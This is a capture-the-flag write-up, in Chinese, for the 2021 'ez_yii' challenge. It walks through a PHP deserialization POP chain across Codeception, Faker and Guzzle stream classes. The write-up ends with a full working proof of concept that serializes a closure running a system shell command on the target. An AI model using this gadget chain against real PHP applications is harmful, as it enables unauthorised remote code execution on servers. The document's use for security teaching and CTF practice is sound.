ez_yii [祥云杯2021] Analyze 先上题
index.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php include ("closure/autoload.php" );function myloader ($class ) { require_once './class/' . (str_replace ('\\' , '/' , $class ) . '.php' ); }spl_autoload_register ("myloader" ); error_reporting (0 );if ($_POST ['data' ]){ unserialize (base64_decode ($_POST ['data' ])); }else { echo "<h1>某ii最新的某条链子</h1>" ; }
autoload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php require_once 'functions.php' ;spl_autoload_register (function($class ){ $class = ltrim ($class , '\\' ); $dir = __DIR__ . '/src' ; $namespace = 'Opis\Closure' ; if (strpos ($class , $namespace ) === 0 ) { $class = substr ($class , strlen ($namespace )); $path = '' ; if (($pos = strripos ($class , '\\' )) !== FALSE ) { $path = str_replace ('\\' , '/' , substr ($class , 0 , $pos )) . '/' ; $class = substr ($class , $pos + 1 ); } $path .= str_replace ('_' , '/' , $class ) . '.php' ; $dir .= '/' . $path ; if (file_exists ($dir )) { include $dir ; return true ; } return false ; } return false ; });
functions.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php namespace Opis \Closure ;function serialize ($data ) { SerializableClosure ::enterContext (); SerializableClosure ::wrapClosures ($data ); $data = \serialize ($data ); SerializableClosure ::exitContext (); return $data ; }function unserialize ($data , array $options = null ) { SerializableClosure ::enterContext (); $data = ($options === null || \PHP_MAJOR_VERSION < 7 ) ? \unserialize ($data ) : \unserialize ($data , $options ); SerializableClosure ::unwrapClosures ($data ); SerializableClosure ::exitContext (); return $data ; }
RunProcess.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php namespace Codeception \Extension ;class RunProcess { protected $output ; protected $config = ['sleep' => 0 ]; protected static $events = []; private $processes = []; public function __destruct ( )#1 { $this ->stopProcess (); } public function stopProcess ( )#2 { foreach (array_reverse ($this ->processes) as $process ) { if (!$process ->isRunning ()) { continue ; } $this ->output->debug ('[RunProcess] Stopping ' . $process ->getCommandLine ()); $process ->stop (); } $this ->processes = []; } }
DefaultGenerator.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php namespace Faker ;class DefaultGenerator { protected $default ; public function __call ($method , $attributes ) { echo "def" ; return $this ->default ; } }
AppendStream.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php namespace GuzzleHttp \Psr7 ;class AppendStream { private $streams = []; private $seekable = true ; public function __toString ( ) { $this ->rewind (); return "hahaha" ; } public function rewind ( ) { $this ->seek (0 ); } public function seek ($offset , $whence = SEEK_SET ) { echo "4" ; if (!$this ->seekable) { throw new \RuntimeException ('This AppendStream is not seekable' ); } elseif ($whence !== SEEK_SET) { throw new \RuntimeException ('The AppendStream can only seek with SEEK_SET' ); } $this ->pos = $this ->current = 0 ; foreach ($this ->streams as $i => $stream ) { try { $stream ->rewind (); } catch (\Exception $e ) { throw new \RuntimeException ('Unable to seek stream ' . $i . ' of the AppendStream' , 0 , $e ); } } } }
CachingStream.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php namespace GuzzleHttp \Psr7 ;class CachingStream { private $remoteStream ; private $skipReadBytes = 0 ; public function rewind ( )#-5 { $this ->seek (0 ); } public function seek ($offset )#-4 { $byte = $offset ; $diff = $byte - $this ->stream->getSize (); if ($diff > 0 ) { while ($diff > 0 && !$this ->remoteStream->eof ()) { $this ->read ($diff ); $diff = $byte - $this ->stream->getSize (); } } else { $this ->stream->seek ($byte ); } } public function read ($length ) { $data = $this ->stream->read ($length ); $remaining = $length - strlen ($data ); if ($remaining ) { $remoteData = $this ->remoteStream->read (#-3 $remaining + $this ->skipReadBytes ); if ($this ->skipReadBytes) { $len = strlen ($remoteData ); $remoteData = substr ($remoteData , $this ->skipReadBytes); $this ->skipReadBytes = max (0 , $this ->skipReadBytes - $len ); } $data .= $remoteData ; $this ->stream->write ($remoteData ); } return $data ; } }
PumpStream.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php namespace GuzzleHttp \Psr7 ;class PumpStream { private $source ; private $size ; private $tellPos = 0 ; private $metadata ; private $buffer ; public function getSize ( ) { return $this ->size; } public function read ($length )#-2 { $data = $this ->buffer->read ($length ); $readLen = strlen ($data ); $this ->tellPos += $readLen ; $remaining = $length - $readLen ; if ($remaining ) { $this ->pump ($remaining ); $data .= $this ->buffer->read ($remaining ); $this ->tellPos += strlen ($data ) - $readLen ; } return $data ; } private function pump ($length )#-1 { if ($this ->source) { do { $data = call_user_func ($this ->source, $length ); if ($data === false || $data === null ) { $this ->source = null ; return ; } $this ->buffer->write ($data ); $length -= strlen ($data ); } while ($length > 0 ); } } }
这次的代码比较多,需要进行一点点剖析
进行逆向分析:
首先观察到在PumpStream.php
中存在函数call_user_func()
,可以考虑利用,往上逐个观察,函数call_user_func()
在函数pump()
中,再次往上,函数read()
在if($remaining)
的条件下会调用函数pump()
全局搜索函数read()
,在CachingStream.php
中找到了同名函数read()
,可以将其作为跳板,而在函数seek()
中,调用了函数read()
,又在函数rewind()
中被调用
再次全局搜索函数rewind()
,在AppendStream.php
中找到了同名函数rewind()
,又可以作为跳板
进行正向分析:
在RunProcess.php
中,函数__destruct()
调用了函数stopProcess()
,可以联想到使用函数__call()
,发现在DefaultGenerator.php
中,发现还需要一个函数__toString()
,可以在AppendStream.php
中找到
正向逆向分析完成,可以得到如下POP链
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 <?php namespace Codeception \Extension { use Faker \DefaultGenerator ; use GuzzleHttp \Psr7 \AppendStream ; use GuzzleHttp \Psr7 \CachingStream ; use GuzzleHttp \Psr7 \PumpStream ; class RunProcess { protected $output ; private $processes = ['aaa' =>1 ]; public function __construct ($def =0 ) { echo "runprocess~~~~~~~~~~~~~~~~~~" ; $this ->output=$def ; $this ->processes['aaa' ]=$def ; } } $pum =new PumpStream ; $cac =new CachingStream ($pum ); $app =new AppendStream ($cac ); $def =new DefaultGenerator ($app ); $run =new RunProcess ($def ); $payload = serialize ($run ); echo base64_encode ($payload ); }namespace Faker { use GuzzleHttp \Psr7 \AppendStream ; use GuzzleHttp \Psr7 \CachingStream ; class DefaultGenerator { protected $default ; public function __construct ($app =0 ) { echo "faker~~~~~~~~~~~~~~~~~~" ; $this ->default = $app ; } } }namespace GuzzleHttp \Psr7 { class AppendStream { private $streams =[]; public function __construct ($cac =0 ) { echo "appengstream~~~~~~~~~~~~~~~~~~" ; $this ->streams[]=$cac ; } } }namespace GuzzleHttp \Psr7 { use Faker \DefaultGenerator ; use GuzzleHttp \Psr7 \PumpStream as Psr7PumpStream ; class CachingStream { private $remoteStream ; public function __construct ($pum =0 ) { echo "cachingstream~~~~~~~~~~~~~~~~~~" ; $this ->stream=$pum ; $this ->remoteStream=new DefaultGenerator (NULL ); } } class PumpStream { private $source ; private $size ; private $tellPos = 0 ; private $metadata ; private $buffer ; public function __construct ( ) { echo "pumpstream~~~~~~~~~~~~~~~~~~" ; include ("closure/autoload.php" ); $this ->size=-1 ; $def =new DefaultGenerator ('aaaaaa' ); $this ->buffer=new CachingStream ($def ); $fun =function ( ) { system ("cd / && cat flag" ); }; $f =(\Opis\Closure \serialize ($fun )); $this ->source=unserialize ($f ); } } }
反序列化后对data
进行POST
传参即可得到flag